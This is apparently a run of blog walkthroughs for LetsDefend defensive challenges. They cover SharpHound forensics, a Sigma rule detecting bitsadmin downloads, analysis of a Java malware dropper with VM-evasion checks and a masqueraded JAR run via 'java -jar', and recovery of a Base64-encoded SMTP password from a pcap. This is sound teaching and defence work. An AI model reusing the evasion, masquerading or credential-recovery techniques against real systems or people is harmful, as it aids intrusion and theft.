We’re closing in on the investigation and starting to get our arms around the reconnaissance utilities being downloaded into the victim environment. To answer Question 9, we need to identify a zip file created on the system following the execution of SharpHound.exe.

You might have spotted a clue earlier when reviewing the Defender Operational logs, where we saw evidence of a malicious file downloaded by abusing a living-off-the-land binary: certutil. While that’s out of scope for this challenge, it’s worth noting. More importantly, the Defender event also shows the full command run—which includes the directory where the file was copied on the victim system.

Event Log Explorer: Stumbling across a malicious zip file

Let’s approach this another way, too. Jump back over to MFTExplorer and continue searching the excluded directory C:\Windows\Temp, where we previously found the SharpHound.exe binary. Since we’ve determined this is being used by the attacker as a staging directory, we can look for any other suspicious zip files and correlate them with the Defender logs.

MFT Explorer: Confirming the malicious zip file

Voila! We find the record for the malicious zip file in the same staging directory. Remember when I mentioned that SharpHound is the collector for BloodHound? Now we have confirmation that BloodHound is also present, and we can start to get a pretty good idea of the techniques the attacker will employ next: reconnaissance and enumeration of the environment using LDAP queries to map Active Directory objects.

Questions 10 & 11:

What is the malware family name associated with the malicious file that was downloaded?

What is the malware signature detected by Windows Defender for the malware?

To go out with a bang, let’s tackle these two questions together. This pair can be a little confusing because we just discovered evidence of BloodHound. However, these questions are asking about the detection signature name for the SharpHound.exe binary we found in the Defender Event logs back in Question 6—and we already stumbled across the answer.

Here’s a quick refresher:

C:\Users\LetsDefend\Desktop\ChallengeFile\C\Windows\System32\winevt\logs\Microsoft-Windows-Windows Defender%4Operational.evtx

Event Log Explorer: Identifying the malware family of SharpHound

Here’s where it gets tricky: we’re looking for the family name that the SharpHound.exe binary belongs to—not the name of the binary itself. A malware family name is used to describe multiple pieces of malware that share specific properties like capability, origin, or code base.

To confirm this, let’s pivot to VirusTotal for additional intelligence, such as community family labels. Copy the SHA1 hash we found in Question 6 and navigate to VirusTotal:

https://www.virustotal.com/gui/file/cc19c785702eea660a1dd7cbf9e4fef80b41384e8bd6ce26b7229e0251f24272

Once the results page loads, focus on the family labels. One of them matches something we saw in the Defender logs: MSIL.

For additional context, Microsoft follows its own naming convention for malware detections, and it can be difficult to decipher what’s being detected from the name alone. A great resource for this is the Microsoft Learn page: How Microsoft names malware.

How Microsoft names malware - Unified security operations _Understand the malware naming convention used by Microsoft Defender Antivirus and other Microsoft antimalware._learn.microsoft.com

Based on this article, we can understand that MSIL describes the malware’s scripting language — not what we typically think of as a malware family. According to the docs, MSIL refers to .NET Intermediate Language scripts.

The full detection signature name from Defender combines this prefix with additional details about the threat.

Event Log Explorer: Identifying the malware detection signature of SharpHound

In this example, we can decipher some further details:

VirTool: Indicates the file is a tool that could be used maliciously
MSIL: The platform or language (.NET Intermediate Language)
SharpHound.A: The specific malware family and variant

And that wraps up our investigation! Awesome job!

Conclusion:

How fun was that! A big thank you to LetsDefend for another awesome challenge.

This challenge provided a great opportunity to go back to the basics and dive into forensics and incident response for some classic Active Directory reconnaissance techniques. It pushed us to pivot between multiple artifacts like Windows Event Logs, Prefetch files, $MFT records, and Windows Defender logs to piece together a complete attack timeline. Along the way, we uncovered how attackers can leverage living-off-the-land binaries, abuse legitimate tools like SharpHound, and even tamper with security configurations to evade detection.

Put together, that’s what made it feel so realistic — because in the real world, attackers rarely leave all their footprints in one place. We had to investigate several log sources, learning about each one as we followed the trail and validate our findings using tools like Eric Zimmerman’s tools, Event Log Explorer, and VirusTotal.

I chose this challenge to revisit Windows log artifacts and brush up on investigating Active Directory-based attacks. It’s a perfect example of how layered techniques like initial access, reconnaissance, and defense evasion all fit together in an attack chain. And at the core of it all was the attacker’s objective: LDAP enumeration, using LDAP queries through tools like BloodHound to map Active Directory objects and identify privilege escalation paths. While we didn’t investigate beyond the ingress tools transfer, it was rewarding to see how each question built on the previous one, creating a logical and linear investigation flow. Awesome stuff!

Thanks for your support and partnering on this investigation. If you found this walkthrough helpful, don’t forget to give it a clap and consider following me! Your feedback really is invaluable, and it pumps me up to support your security journey. Remember, Cybersecurity is a team sport and we’re in this together!

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

Challenge Link: https://app.letsdefend.io/challenge/ldap-enumeration

Event Log Explorer: https://eventlogxp.com/

Eric Zimmerman’s Tools: https://ericzimmerman.github.io/#!index.md

**Magnet Forensics Blog — " # "

Forensic Analysis of Prefetch files in Windows” :** https://www.magnetforensics.com/blog/forensic-analysis-of-prefetch-files-in-windows/

MITRE ATT&CK — System Owner/User Discovery (T1033): https://attack.mitre.org/techniques/T1033/

MITRE ATT&CK — Software — BloodHound (S0521): https://attack.mitre.org/software/S0521/

**Magnet Forensics Blog — " # "

**_Harnessing MFT parsing for incident response investigations": https://www.magnetforensics.com/blog/harnessing-mft-parsing-for-incident-response-investigations/

Microsoft Learn — Review event logs and error codes to troubleshoot issues with Microsoft Defender Antivirus: https://learn.microsoft.com/en-us/defender-endpoint/troubleshoot-microsoft-defender-antivirus#event-id-5007

VirusTotal — SharpHound Sample: https://www.virustotal.com/gui/file/cc19c785702eea660a1dd7cbf9e4fef80b41384e8bd6ce26b7229e0251f24272

Microsoft Learn — Malware Names: https://learn.microsoft.com/en-us/unified-secops/malware-naming

LetsDefend — Learn Sigma Challenge Walkthrough

Mon, 10 Nov 2025 00:00:00 +0000

LetsDefend — Learn Sigma Challenge Walkthrough

A Beginner’s Challenge in Sigma Rule Analysis.

https://app.letsdefend.io/challenge/learn-sigma

Introduction:

Welcome to my weekly walkthrough! If you’ve stumbled across this blog while looking for a detailed guide to the Learn Sigma challenge from LetsDefend, you’re in the right place. If you’ve ever been curious about Sigma rules or how to read them, this beginner-friendly challenge is for you!

Challenge Scenario:

Your organization has detected a ransomware infection on one of its critical systems, and it is imperative that you address this issue immediately. This type of malware searches for valuable files, such as sensitive documents and configuration files, and encrypts them using a strong encryption algorithm.

The investigation has revealed that the ransomware may have used the Windows utility bitsadmin.exe to download additional malicious payloads or communicate with its command-and-control (C2) server.

Your task is to carefully review the Sigma rule, answer the related questions, and understand how different rule sections (selection, condition, fields, tags, logsource) work together to detect malicious activity.

For this challenge, we’re putting on our detection engineering hats and need to leverage a Sigma rule to analyze logs related to a ransomware infection. But first, we need to review the rule, understand how it works, and clarify what’s in scope — just to be sure we don’t miss anything.

If any of this sounds new or confusing, don’t worry! I’ll walk through each step clearly, and by the end, you’ll have a solid understanding of how to approach similar investigations in the wild. Sounds like fun, right? Let’s get into it!

And if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or just serves as a handy reference — please give it a clap and consider following me for more content like this.

Thanks for reading and going on this investigation with me!

Sigma Rules 101:

Before we jump into this challenge, let’s have a quick, informational overview of what Sigma rules are and how they’re structured to better inform our answers. For this, we’ll lean on the excellent Sigma documentation available here:

Explore Sigma _A generic and open signature format that allows you to describe relevant log events in a straight-forward manner._sigmahq.io

From the documentation, we can understand that Sigma rules are " # "

_YAML_ files that contain all the information required to detect odd, bad or malicious behaviour when inspecting log files €“ usually within the context of a SIEM_.“Put another way, Sigma rules can be used to identify targeted suspicious or malicious activity by matching patterns against log data.

To organize these rules in a uniform schema, Sigma rules contain three primary sections:

Detection: " # “What malicious behaviour the rule searching for.“2. Logsource: " # “What types of logs this detection should search over.“3. Metadata: " # “Other information about the detection.“With this basic understanding, we’re well-equipped to take on this challenge and analyze the Sigma rule! I encourage you to check out the documentation if you’re curious and want more detailed information. Let’s get to it!

Question 1: Which executable file was specifically targeted by this Sigma rule?

Go ahead and open the ChallengeFile folder, where we’ll find the Sigma rule contained in the proc_creation_win_bitsadmin_download.yml. This is the YAML file we’ll need to analyze.

To review the contents, we can open the YAML file in a text editor. For this walkthrough, I’ll be using Notepad++ since it makes it easier to view and explain structured files like this. With the file open, we need to identify which executable file is targeted by the rule.

Notepad++: Identifying the executable file targeted by the Sigma rule

On line 23, under the Detection section, we can see that in the selection_img field, the rule is targeting bitsadmin.exe. Bitsadmin is a legitimate Windows binary used to create, download, or upload jobs and to monitor their progress. However, it can also be abused by attackers to download malware or other malicious payloads (see MITRE ATT&CK T1197 — BITS Jobs).

Question 2: What command-line option is used to indicate a file transfer in this rule?

Next, we need to determine which Bitsadmin command-line option is used to perform a file transfer with the tool. We can find this on line 26, where the selection_cmd field is targeting the /transfer command-line switch.

Notepad++: Identifying the command-line option in the Sigma rule

The presence of the /transfer switch tells us that the rule is searching for the use of bitsadmin in the context of file transfer activity.

Question 3: What logical expression in the condition field combined the criteria to trigger this rule?

To answer Question 3, we’ll need to identify the logical expression in the condition field that defines the criteria for the rule to trigger. This combination ties together the definitions we explored in the previous questions to build the rule’s logic.

We can find the condition field on line 33, where it shows:

selection_img and (selection_cmd or all of selection_cli_*)

Notepad++: Identifying the condition field in the Sigma rule

So, what does this mean? It means the detection rule is searching for bitsadmin.exe activity with the /transfer argument or where the CommandLine field contains /create, /addfile, and http—all of which are strong indicators of file download activity.

Question 4: Which specific field did this rule capture that shows the command being executed?

We touched on this in Question 2, but to answer Question 4 we need to determine the specific field the rule captures that shows the command being executed.

We can find this information on line 34, under the fields section of the rule.

Notepad++: Identifying the CommandLine field in the Sigma rule

This tells us that the CommandLine field must be present for the rule to run. That field is where the rule looks for command-line definitions like /transfer, or the combination of values in the selection_cli_* group — including /create, /addfile, and http.

Question 5: Which single ATT&CK tactic tag is listed first in this rule?

To answer Question 5, we’ll turn our attention to the Metadata section near the top of the rule. Under the tags field, we’ll see a list of ATT&CK tactic and technique references.

Notepad++: Identifying the first MITRE ATT&CK tactic listed in the Sigma rule

The answer to the question is the first item in the list on line 13: attack.defense-evasion. The attack. prefix tells us this is a MITRE ATT&CK reference. In this case, the first tactic listed is TA0005 €“ Defense Evasion:

Defense Evasion _Build Image on Host Adversaries may build a container image directly on a host to bypass defenses that monitor for the…_attack.mitre.org

Question 6: What is the primary category of events that this Sigma rule was written to monitor?

The next component of this Sigma rule we need to analyze is the Logsource section, starting on line 18. Remember from our Sigma overview that this section “is used to specify what log data should be searched by the rule.”

Notepad++: Identifying the primary Logsource category in the Sigma rule

The category field indicates the type of events being monitored. In this case, the rule is written to detect Windows process creation events (usually Event ID 4688), which is a common source for identifying suspicious command-line execution — keep that one in your back pocket!

Question 7: What specific command-line argument did this rule look for to identify HTTP-based downloads?

We touched on command-line arguments targeted by the rule back in Question 3 and Question 4. Recall that one of the conditions included a check for http.

Notepad++: Identifying the http command-line option in the Sigma rule

This helps identify suspicious or malicious use of bitsadmin to grab payloads over HTTP.

Question 8: Which command-line option must be present to create a new transfer using bitsadmin?

We’ve made it to the last question of our Sigma rule analysis — nice job! The final object we need to identify is another one we touched on in Question 3 and Question 4.

To answer Question 8, we’ll want to look at line 29, which shows the /create value. In the context of bitsadmin, the /create argument is used to initiate a new transfer job — which is exactly what we need to wrap up our analysis!

Notepad++: Identifying the /create command-line option in the Sigma rule

Conclusion:

How fun was that? A big thank you to LetsDefend for putting together another solid, beginner-friendly challenge.

This investigation was a great introduction to Sigma rules and how they’re used to detect suspicious behavior in log data. We explored how rules are structured, how they leverage fields like CommandLine, and how they align with MITRE ATT&CK tactics like Defense Evasion. From identifying the use of bitsadmin.exe, to parsing command-line arguments like /transfer, /create, and http, this challenge gave us a hands-on look at how Sigma expresses detection logic in a readable, flexible format.

I chose this challenge to sharpen my detection engineering workflow and get reacquainted with Sigma’s YAML structure, since I don’t typically work with Sigma rules directly. Instead, I usually convert them to my required SIEM or log format for the application at hand — which can be really helpful if you want to leverage Sigma rules but use a different solution like Splunk, Microsoft, Elastic, etc.

This challenge was also a great opportunity to slow down and take the extra time to research the answers, not just search for them. That deeper dive helped me build a true understanding of how the rule works and why each component matters. Awesome stuff!

Thanks for your support and partnering on this investigation. If you found this walkthrough helpful, don’t forget to give it a clap and consider following me for more content like this! Your feedback really is invaluable, and it pumps me up to support your security journey. Remember, Cybersecurity is a team sport and we’re in this together!

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

Challenge Link: https://app.letsdefend.io/challenge/learn-sigma

Notepad++: https://notepad-plus-plus.org/

Sigma GitHub: https://github.com/SigmaHQ/sigma

Sigma Documentation: https://sigmahq.io/docs/basics/rules.html

Microsoft Learn — Bitsadmin: https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin

MITRE ATT&CK — BITS Jobs (T1197): https://attack.mitre.org/techniques/T1197/

MITRE ATT&CK — Defense Evasion (TA0005): https://attack.mitre.org/tactics/TA0005/

LetsDefend — Samba Spy Challenge Walkthrough

Sun, 21 Sep 2025 00:00:00 +0000

LetsDefend — Samba Spy Challenge Walkthrough

Investigating a Malicious JAR File Using Java Decompiler, VirusTotal & MITRE ATT&CK.

Image Credit: https://app.letsdefend.io/challenge/samba-spy

Introduction:

Welcome back to another weekly walkthrough! If you’ve stumbled across this blog while looking for a comprehensive guide the Samba Spy challenge from LetsDefend, you’re in the right place. This challenge is a great opportunity to explore how adversaries use Java-based payloads, obfuscation, and anti-analysis techniques to evade detection.

Challenge Scenario:

Your organization has discovered an infection on one of its systems involving a malicious Java application. This malware performs environment checks to ensure it is not running inside a virtual machine and targets systems with specific configurations. Once the required conditions are met, it extracts files and executes malicious components that could compromise sensitive data or system integrity. The stealthy nature of the malware and its ability to evade detection pose a serious threat, requiring immediate action to secure the network and prevent further compromise.

Uh-oh! That doesn’t sound good. It’s up to us to spring into action in our LetsDefend virtual machine, reverse engineer and investigate its behavior, and prevent any further damage.

This one’s a bit different from the usual endpoint or network forensics challenges. We’ll be stepping into the world of static analysis with a sprinkle of reverse engineering, using tools like JD-GUI, VirusTotal, MITRE ATT&CK, and good old-fashioned logic to uncover what this malware is up to.

If you’re new to Java malware or just want to sharpen your analysis skills, this is a great challenge to stumble into. Let’s dig in and see what this .jar file is hiding.

Sounds like fun, right? Let’s get into it!

And if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or serves as a handy reference — please give it a clap and consider following me for more content like this.

Thanks for reading and going on this investigation with me!

Question 1: What is the name of the method that checks if the program is running inside a virtual machine?

Let’s kick off this investigation by opening the ChallengeFile folder and unzipping challenge.7z using the password provided in the challenge description. This leaves us with the sample we’ll be analyzing: 1.jar.

Unzipping the ChallengeFile

Our first step is to select a tool we can use to decompile the sample and peek into the code. Fortunately, the LetsDefend VM is already loaded with a number of analysis tools, including Java Decompiler (JD). Since reverse engineering isn’t in my usual wheelhouse, the graphical version, JD-GUI, will be perfect for us to use. According to the project’s GitHub page:

JD-GUI is a standalone graphical utility that displays Java source codes of " # "

.class" files. You can browse the reconstructed source code with the JD-GUI for instant access to methods and fields.

Sounds perfect! Let’s give it a try by launching the application from C:\Users\LetsDefend\Desktop\Tools\jd-gui-windows-1.6.6 - Java Decompiler.

Once it’s open, we can load the 1.jar sample file and immediately jump in by expanding JavaApplication1.class > JavaApplication1. This will allow us to check out the methods within the application.

With that in mind, to answer Question 1, select the obviously named isRunningInVM() method on the left and view its contents on the right. We’ll see that this method is checking if the JAR file is executed in a virtual machine. One way it does this is by checking if the operating system name matches known virtualization providers.

Identifying the isRunningInVM() method

Now, there could be a valid reason for it, but the presence of a method checking for virtualization is suspicious. Malware might attempt to evade detection by checking if it’s executed in a virtual environment, potentially operated by one of us defenders, and changing its behavior accordingly. This is an example of the MITRE ATT&CK technique Virtualization/Sandbox Evasion: System Checks (T1497.001).

Question 2: What system language is required for the program to continue execution?

The next thing we’ll need to uncover is what system language is required for the application to continue execution. We can find this in the isSystemLanguageItalian() method.

Identifying the required language for execution

This interesting little tidbit that tells us the malware might be targeting Italian systems only, since it only runs when that language is detected. This could be another example of an evasion tactic or might indicate a targeted attack. Let’s keep going and see what else we can discover about the malware’s capabilities.

Questions 3 & 4:

What is the name of the method responsible for extracting the Prodotto.zip file?

What is the default extraction path for the Prodotto.zip contents?

To answer Question 3, we’re searching for a method used to extract the file Prodotto.zip. We can identify this function within the extractLibs() method, which references the file directly on line 50.

Identifying the .zip extraction method

To answer Question 4, we can identify the defined extraction path for this .zip file by checking line 48, where the DestinationPath variable is defined as C:\Users\Public.

Identifying the default path for .zip file extraction

This is another suspicious behavior that suggests the malware is dropping a second-stage payload. The use of the C:\Users\Public folder is also a red flag. It’s a commonly used directory for malware staging because it acts as a shared location across all user accounts in Windows. In other words, any user on the system can read from and write to this directory, making it a prime location to affect all users on the system.

Questions 5 & 6:

What file name does the program look for after extraction to run as a JAR file?

What command is used to execute the extracted JAR file?

Moving right along, we now need to identify the second-stage JAR file that’s executed by the malware. Let’s check out the main(String[]) method as a first step. Here, we can see another file extracted from the Prodotto.zip archive in the same directory: prodotto.png. This is declared as the jarPath variable.

Identifying the extracted file

This looks promising — but we’re looking for a JAR file, right? Well, this is a little tricky. Take a look at line 32: we can see what appears to be a command executing a JAR file using Runtime.getRuntime().exec() with the jarPath variable. Strange!

Identifying the execution command

Surprise! This appears to be an example of file type masquerading as described by the MITRE ATT&CK technique Masquerade File Type (T1036.008). So, the file is named with a .png extension, but it’s actually a .jar file and is executed using the java -jar command.

While it’s a little out of scope for this challenge, we can confirm this behavior by grabbing the file hash of 1.jar from the LetsDefend VM and pivoting to VirusTotal. From there, we can check the Relations tab for Prodotto.zip > prodotto.png to confirm that the magic byte indicates it’s indeed a .jar file.

If you’d like to try it out, you can use the Get-FileHash command in the VM to calculate the hash of 1.jar, but I’ve included it below for convenience:

49BBFAC69CA7633414172EC07E996D0DABD3F7811F134EECAFE89ACB8D55B93A

VirusTotal: Details of Prodotto.png

Ultimately, we can confirm the answer to Question 5 is correct: prodotto.png is indeed a .jar file. And for Question 6, the command used to execute it is:

java -jar C:\Users\Public\Prodotto.png

Question 7: What process is used to check if the system is running in a virtual machine (besides the manufacturer string)?

Remember back in Question 1, where we identified the isRunningInVM() method that the malware uses to check if it’s running in a virtual machine? While we identified the method, we didn’t really dig into how that check occurs.

From what we can tell, there are a couple of ways the malware does this. One method is by listing the system manufacturer string using System.getProperty("os.name"), and then comparing it to a list of known virtualization providers (like VMware, Oracle, etc.).

But this would only return the name of the operating system, like Windows 11, macOS, Linux, etc. So, we’re looking for a different method, which we’ll find on line 96:

wmic baseboard get manufacturer

Identifying baseboard manufacturer enumeration

Using this WMI command in Windows will return the motherboard manufacturer, which the malware compares to a list of vmIndicators as mentioned above. The idea is that if the execution environment is a VM, it would be reflected in the baseboard manufacturer string which is pretty clever.

Question 8: How many virtual machine vendors does the program check for?

Now onto the final question! To answer Question 8, we simply need to look at the list of vmIndicators we talked about in the previous question. If we expand the row on line 80, we’ll see the four VM providers the malware checks for — nice job!

Identifying the VM providers

Conclusion:

How fun was that! A big thank you to LetsDefend for putting together another awesome experience.

This one was a great change of pace from my typical endpoint or network forensics investigation walkthroughs. It gave me a chance to explore how Java-based malware operates, how it uses environmental awareness to evade detection, and how file type masquerading can try to throw us off the trail. Now that we’ve gained a better understanding of how this malware behaves, it’s time to wrap this investigation.

I chose this challenge to keep reverse engineering in the rotation because it’s a weak spot for me. This was a great excuse to try a new tool and go hands-on with Java Decompiler, and it’s now another tool I’ll be keeping in my kit for future malware analysis. The challenge also reinforced how important it is to understand anti-analysis techniques and how adversaries use them to stay hidden. Awesome stuff!

Thanks for your support and partnering on this investigation. If you found this walkthrough helpful, don’t forget to give it a clap! Your feedback really is invaluable, and it pumps me up to support your security journey. Remember, Cybersecurity is a team sport and we’re in this together!

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

Challenge Link: https://app.letsdefend.io/challenge/samba-spy

Java Decompiler: https://java-decompiler.github.io/

MITRE ATT&CK — Virtualization/Sandbox Evasion: System Checks (T1497.001): https://attack.mitre.org/techniques/T1497/001/

MITRE ATT&CK — Masquerading: Masquerade File Type (T1036.008): https://attack.mitre.org/techniques/T1036/008/

VirusTotal: https://www.virustotal.com/

VirusTotal — Prodotto.png: https://www.virustotal.com/gui/file/9530d49197932cc7f169dae3f953e00dc9cf3625eb74e0e335701d3e3fd8c8d4/details

LetsDefend — Disclose The Agent Challenge Walkthrough

Sun, 14 Sep 2025 00:00:00 +0000

LetsDefend — Disclose The Agent Challenge Walkthrough

Investigating a Suspicious Email Using Wireshark.

https://app.letsdefend.io/challenge/disclose-the-agent

Introduction:

Welcome to my weekly walkthrough! If you’ve stumbled across this blog looking for a practical guide to the Disclose the Agent challenge from LetsDefend, you’re in the right place. This challenge is a great introduction to investigating network traffic and carving out email-based artifacts using Wireshark — let’s check out the scenario below.

Challenge Scenario:

We reached the data of an agent leaking information. You have to disclose the agent.

Log file: /root/Desktop/ChallengeFile/smtpchallenge.pcap

Note: pcap file found public resources.

Got it! We’re provided with a PCAP file and need to investigate a malicious insider leaking information. To figure out what’s going on, we’ll use the network traffic analysis tool Wireshark to extract email communications, uncover clues within the message contents, and paint the full picture.

This challenge is a great opportunity to practice protocol-level analysis, decode encoded credentials, and reconstruct file attachments from raw packet data. Sounds like fun, right? Let’s get into it!

If you find this walkthrough helpful — whether it levels up your skills, gets you over a stumbling block, or serves as a handy reference — please give it a clap and consider following me for more content like this.

Thanks for reading and going on this investigation with me!

Question 1: What is the email address of Ann’s secret boyfriend?

Let’s kick off this investigation by opening the ChallengeFile folder and locating the artifact smtpchallenge.pcap.

So, what do we do with this? Well, a PCAP file is a network packet capture file containing the packet-level details of a network session. For this challenge, we’ll be leveraging Wireshark to view the pcap and perform our analysis. Double-click the file to open it.

Location of the ChallengeFile

To answer Question 1, we’re searching for an email exchange between Ann and a secret boyfriend. For this, we can focus on filtering the Wireshark traffic for the Simple Mail Transfer Protocol (SMTP) packets. If you’re unfamiliar with this protocol, here’s some background from the Wireshark Wiki that’s helpful to know for this challenge:

This protocol is widely use to send e-Mail from the authors mail program to the mail server and between servers too.

Typically, SMTP uses TCP as its transport protocol. The well known TCP port for SMTP traffic is 25.

SMTP uses MIME_multipart to transfer attachments

The idea here is to filter SMTP traffic to review emails that Ann sent. Hopefully, this contains some kind of clue about the identity of her boyfriend. To perform the filtering, simply enter the protocol name smtp into Wireshark’s filtering box.

Once the filter is applied, search through the traffic to find the first displayed SMTP packet („– 56). Once we’ve found it, right-click the line and select Follow > TCP Stream. This will open up the TCP stream window for us to view the contents.

Wireshark: Packet 56— following the TCP stream

Unfortunately, while interesting, this message stream doesn’t contain any spicy details about Ann’s affair. Let’s try another stream containing another message…

Wireshark: The contents of TCP Stream 0

Let’s check the next SMTP stream starting with packet number 116. Follow the same process to view the TCP stream.

Wireshark: Packet 116 — following the TCP stream

Now we’ve got them! This message is much more suggestive, and we can confirm the email address of Ann’s boyfriend — the elusive “Mister Secret.”

Wireshark: Identifying the email of Anne’s secret boyfriend

Question 2: What is Ann’s email password?

Our next objective to answer Question 2 is to determine Ann’s email password. SMTP traffic is transmitted in clear text by default, meaning that the authentication credentials could be visible in the PCAP file.

Let’s find out! To illustrate this, close the TCP stream window and zoom out to the packet view again. Here, we’re able to see the complete user authentication flow (packets 120€“128), including the PASS field containing the password.

Wireshark: Identifying the SMTP password field

Just one small obstacle: the field appears to be encoded, so the password isn’t as it appears here. Remember, encoding is not the same as encryption, so we should be able to simply decode the PASS string. To do this, right-click the packet and select Protocol Preferences > Decode Base64 encoded AUTH parameters.

Wireshark: Applying the Base64 decode operation

This automatically decodes the password for Ann’s email — great find!

Wireshark: Viewing the decoded password

Question 3: What is the name of the file that Ann sent to his secret lover?

To answer Question 3, navigate back to the TCP stream window. For this task, we’re looking for the name of the file that Ann sent. You might recall from the SMTP notes on the Wireshark Wiki that:

SMTP uses MIME_multipart to transfer attachments.

Wireshark: Identifying the attachment filename in the MIME section

This means that by scrolling down to the MIME contents section, we can discover the filename field containing the name of the attachment — secretrendezvous.docx.

Question 4: In what country will Ann meet with her secret lover?

To find the answer to Question 4, turn your attention to the big blob of encoded text following filename="secretrendezvous.docx" that we found in the previous question.

Wireshark: The encoded attachment

The encoded content between the filename and the ending boundary --=_NextPart_000_000D_01CA497C.9DEC1E70 is actually the .docx file attachment. With a little know-how and effort, we can convert this blob into the original, readable file.

The first step is to copy the blob to the clipboard and paste it into a text editor like Mousepad, which is built into the LetsDefend VM.

Mousepad: Pasting the Base64 blob

Once the contents have been pasted into the empty document, go ahead and save it.

Next, we’ll leverage the base64 command to decode the contents and output them into a new file, secretrendezvous.docx. Use the command below to watch the magic happen:

base64 -d -i secretrendezvous > secretrendezvous.docx

Now that the encoded contents have been piped to a new .docx file, go ahead and open it to find a map location for the secret rendezvous!

The rendezvous location revealed

Question 5: What is the MD5 value of the attachment Ann sent?

To wrap up our investigation and answer Question 5, we simply need to determine the MD5 hash value of the secretrendezvous.docx attachment that Ann sent.

We’ve already done most of the legwork by reassembling this artifact from the TCP stream, so now we just need to run the md5sum command from the terminal to grab the hash:

md5sum secretrendezvous.docx

Terminal: Calculating the MD5 hash of the document

9e423e11db88f01bbff81172839e1923

The resulting output is the MD5 hash value we need to answer the final question. This is a handy thing to have in the real world since it serves as a file-level signature, and can be used to confirm that the file is identical to the original document, or to pivot into threat intelligence platforms to check if this exact specific file has been seen before.

In this case, the content is innocuous — but still interesting.

Conclusion:

How fun was that! A big shoutout to LetsDefend for putting out another great challenge.

This one was a solid exercise in classic network forensics and gave us the chance to work through a plausible real-world email analysis scenario. From filtering SMTP traffic in Wireshark, to decoding Base64-encoded credentials, and even reconstructing a .docx file from raw packet data — this challenge packed a lot of practical skills into a focused investigation.

I picked this one because I wanted to brush up on SMTP packet analysis and get some reps in with extracting email-based artifacts, which are still incredibly relevant in phishing investigations and insider threat cases. Each question built naturally on the last, and I’m always a fan of a fun narrative to chase during these challenges. All in all — very fun!

Thanks for following along and partnering on this investigation. If you found this walkthrough helpful, don’t forget to give it a clap! Your feedback keeps me going and helps me keep supporting your security journey. Remember, cybersecurity is a team sport — and we’re in this together.

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

Challenge Link: https://app.letsdefend.io/challenge/disclose-the-agent

Wireshark: https://www.wireshark.org/

Wireshark Docs — SMTP: https://wiki.wireshark.org/SMTP

LetsDefend — Velociraptor Challenge Walkthrough

Sun, 07 Sep 2025 00:00:00 +0000

LetsDefend — Velociraptor Challenge Walkthrough

Investigating a Compromised Web Server Using Velociraptor, Wireshark, and Cyber Threat Intelligence.

https://app.letsdefend.io/challenge/velociraptor

Introduction:

Welcome to my weekly walkthrough! If you’ve stumbled across this blog searching for a comprehensive guide to the Velociraptor challenge from LetsDefend, you’re in the right place. This challenge is a fantastic introduction to collecting and investigating endpoint artifacts — let’s check out the scenario below.

Challenge Scenario:

Your organization recently discovered a potential security incident involving a critical web server. The Security Operations Center (SOC) detected unusual traffic patterns and suspicious activity targeting this server. Initial investigations suggest that the breach may have been caused by a well-known exploit that has not yet been patched. Due to the critical nature of the web server and the sensitivity of the data it handles, immediate action is required to confirm the breach, contain the threat, and mitigate further risks.

You are provided with network traffic and EDR logs to identify how the attacker gained access and what actions they took.

It sounds like we’ve got our work cut out for us to investigate what happened to the web server and how it was compromised. But we’re not on our own — we’re provided with a rich set of forensic log artifacts generated by Velociraptor that we can use to put the pieces together.

To accomplish this, we’ll leverage our DFIR knowledge and apply it to investigating the Velociraptor artifacts. Since this challenge also serves as an introduction to Velociraptor, we’ll lean heavily on the documentation to add context and learn more about how the tool works. After that, we’ll dive into Wireshark to analyze the collected network packet data to get further details. Once we’ve identified the vulnerability abused by the attacker, we’ll pivot to some additional threat research to add further context and tie the whole thing together.

Sounds like fun, right? Let’s get our hands dirty.

If you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or serves as a handy reference — please give it a clap and consider following me for more content like this.

Thanks for reading and going on this investigation with me!

Question 1: What is the Client ID associated with the EDR logs?

Let’s kick off our investigation by navigating to the ChallengeFile directory within the LetsDefend VM. Inside this directory, we’re presented with two files: EDR-LOGS and EDR-LOGS.zip.

Overview of the ChallengeFile folder

We’re going to focus on the unzipped file, but before we go too much further, let’s get some background on the tool that generated these logs — Velociraptor. According to the project’s documentation, _Velociraptor is " # "

an advanced digital forensic and incident response tool that enhances your visibility into your endpoints.“Typically, Velociraptor runs in a client/server configuration where a client agent sends artifacts and data to a Velociraptor server. From the server, a security analyst can review the collected logs for endpoint monitoring and hunting. Sounds awesome, right? But also well beyond the scope of this challenge.

Back in our ChallengeFile folder, we’ll find a series of logs collected by the Velociraptor offline collector, which can be used for artifact collection without the use of a server. This means that we’ll be manually investigating artifacts collected by Velociraptor locally and won’t need to open a Velociraptor server instance.

To answer Question 1, we need to determine the client ID associated with the Velociraptor logs. In Velociraptor, a client_id is a unique identifier for a specific endpoint, or client. We can locate this information in the client_info log:

client_info :: Velociraptor - Digging deeper! _Required permissions: READ_RESULTS Returns client info (like the fqdn) for a specific client from the datastore. You…_docs.velociraptor.app

In your VM, navigate to the directory below and open the client_info.json file:

Locating the client_info.json file

/root/Desktop/ChallengeFile/EDR-LOGs/ip-172-31-29-22-C.e70aef07943d3e45/client_info.json

Inside, you’ll find the client_id on line 2.

Question 2: What is the Flow ID of the current logs?

Next, we need to identify the Flow ID of the current logs. Flows are used to track the execution of a collection from Velociraptor to an endpoint. Each flow represents a specific collection event, and its ID helps analysts correlate artifacts to the collection process.

We can find this information in the collection_context.json log.

Locating the collection_context.json file

/root/Desktop/ChallengeFile/EDR-LOGs/ip-172-31-29-22-C.e70aef07943d3e45/collection_context.json

Question 3: The web server was running on a container. What is the parent process ID of the container (PPID)?

To answer Question 3, our next objective is to determine what container service the victim web server was running. As we continue exploring the Velociraptor artifacts, we’ll stumble on the results directly, with several logs referencing Docker, a common containerization service.

Since we’re interested in the parent process ID (PPID) of the container service process, let’s open the process list artifact: Linux.Sys.Pslist.json.

Locating the Linux.Sys.Pstlist.json file

/root/Desktop/ChallengeFile/EDR-LOGs/ip-172-31-29-22-C.e70aef07943d3e45/results/Linux.Sys.Pslist.json

With the log file open, let’s simply use the find function (CTRL+F) and search for docker to help us locate relevant entries. Because we’re investigating suspicious network traffic on the web server, we’ll focus on the docker-proxy process (line 80) which is responsible for forwarding network traffic to the proper container.

